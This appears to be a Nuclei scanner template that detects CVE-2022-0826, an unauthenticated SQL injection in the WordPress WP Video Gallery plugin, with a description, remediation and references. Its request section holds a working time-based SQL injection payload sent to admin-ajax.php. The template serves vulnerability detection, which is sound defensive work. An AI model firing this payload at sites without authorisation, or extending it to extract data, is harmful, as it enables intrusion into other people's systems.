nuclei-templates/http/cves/2022/CVE-2022-0826.yaml

51 lines
2.3 KiB
YAML
Raw Normal View History

2022-12-02 10:39:14 +00:00
id: CVE-2022-0826
info:
name: WordPress WP Video Gallery <=1.7.1 - SQL Injection
2022-12-02 10:39:14 +00:00
author: theamanrawat
severity: critical
description: |
WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
2023-09-06 11:59:08 +00:00
remediation: |
Update to the latest version of WP Video Gallery plugin (>=1.7.2) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
2022-12-02 10:39:14 +00:00
reference:
- https://wpscan.com/vulnerability/7a3eed3b-c643-4e24-b833-eba60ab631c5
- https://wordpress.org/plugins/wp-video-gallery-free/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0826
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0826
cwe-id: CWE-89
epss-score: 0.03032
epss-percentile: 0.89885
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:wp-video-gallery-free_project:wp-video-gallery-free:*:*:*:*:*:wordpress:*:*
2022-12-02 10:39:14 +00:00
metadata:
2022-12-05 06:01:29 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: wp-video-gallery-free_project
product: wp-video-gallery-free
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: cve2022,wp-plugin,wpscan,cve,wordpress,wp,sqli,wp-video-gallery-free,unauth,wp-video-gallery-free_project
2022-12-02 10:39:14 +00:00
http:
2022-12-02 10:39:14 +00:00
- raw:
- |
@timeout: 15s
POST /wp-admin/admin-ajax.php HTTP/1.1
2022-12-03 11:07:30 +00:00
Host: {{Hostname}}
2022-12-02 10:39:14 +00:00
Content-Type: application/x-www-form-urlencoded
action=wp_video_gallery_ajax_add_single_youtube&url=http://example.com/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523
2022-12-05 06:01:29 +00:00
2022-12-02 10:39:14 +00:00
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
2022-12-05 06:01:29 +00:00
- 'contains(body, "Registred videos :")'
condition: and
# digest: 490a004630440220788a005df6bae30eae2ad4eeda0a8ae46efca7604247324db3097e48475a861a022070536dfe57a7930822e90549fcdb78f7701bcef515d93d96ffef769275453d67:922c64590222798bb761d5b6d8e72950